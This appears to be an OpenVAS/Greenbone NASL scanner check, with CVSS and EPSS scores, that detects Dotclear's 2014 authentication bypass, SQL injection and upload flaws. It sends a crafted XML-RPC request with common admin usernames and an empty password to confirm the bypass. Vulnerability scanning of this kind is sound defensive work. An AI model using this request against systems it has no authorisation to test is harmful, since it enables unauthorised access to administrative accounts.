6 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
6.4 Medium
AI Score
Confidence
Low
0.009 Low
EPSS
Percentile
82.6%
Dotclear is prone to multiple vulnerabilities.
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:dotclear:dotclear";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802076");
script_version("2023-07-26T05:05:09+0000");
script_cve_id("CVE-2014-3781", "CVE-2014-3782", "CVE-2014-3783");
script_tag(name:"cvss_base", value:"6.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:S/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
script_tag(name:"creation_date", value:"2014-06-09 14:54:32 +0530 (Mon, 09 Jun 2014)");
script_name("Dotclear Multiple Vulnerabilities");
script_tag(name:"summary", value:"Dotclear is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and try to bypass authentication.");
script_tag(name:"insight", value:"- Flaw in due to 'dcXmlRpc::setUser()' method in 'class.dc.xmlrpc.php' fails
to verify passwords before using it.
- Flaw is due to is due to the '/admin/categories.php' script not properly
sanitizing user-supplied input to the 'categories_order' POST parameter.
- Flaw is due to is due to 'filemanager::isFileExclude()' method does not
properly verify or sanitize user-uploaded files.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to bypass authentication
mechanisms, inject or manipulate SQL queries in the back-end database and
attacker can to execute uploaded script with the privileges of the web server.");
script_tag(name:"affected", value:"DotClear version before 2.6.3");
script_tag(name:"solution", value:"Upgrade to version 2.6.3 or later.");
script_xref(name:"URL", value:"http://karmainsecurity.com/KIS-2014-05");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67557");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67559");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/67560");
script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/532184");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2014 Greenbone AG");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_app");
script_xref(name:"URL", value:"http://dotclear.org");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
http_port = http_get_port(default:80);
host = http_host_name(port:http_port);
foreach dir (make_list_unique("/", "/dotclear", "/cms", "/forum", http_cgi_dirs(port:http_port)))
{
if(dir == "/") dir = "";
dotc_res1 = http_get_cache(item:string(dir, "/index.php"), port:http_port);
if(">Dotclear<" >< dotc_res1)
{
## Possible usernames to bypass
foreach username (make_list("admin", "administrator", "root", "dotclear"))
{
post_data = string("<methodCall>\r\n",
"<methodName>wp.getPostStatusList</methodName>\r\n",
"<params>\r\n",
"<param><value><i4>1</i4></value></param>\r\n",
"<param><value><string>", username, "</string></value></param>\r\n",
"<param><value><string></string></value></param>\r\n",
"<param><value>\r\n",
"</value></param>\r\n",
"</params>\r\n",
"</methodCall>\r\n");
post_data_len = strlen(post_data);
dotc_path = dir + "/index.php?xmlrpc/default";
dotc_req2 = 'POST ' + dotc_path + ' HTTP/1.1\r\n' +
'Host: ' + host + '\r\n' +
'Content-Type: application/x-www-form-urlencoded\r\n' +
'Cookie: livezilla=Tzo0OiJUZXN0IjowOnt9\r\n' +
'Content-Length: ' + post_data_len + '\r\n' +
'\r\n' + post_data;
dotc_res2 = http_keepalive_send_recv(port:http_port, data:dotc_req2, bodyonly:FALSE);
if("<name>draft</name>" >< dotc_res2 && "<name>private</name>" >< dotc_res2 &&
"<name>publish</name>" >< dotc_res2 && ">Login error<" >!< dotc_res2)
{
security_message(port:http_port);
exit(0);
}
}
}
}
exit(99);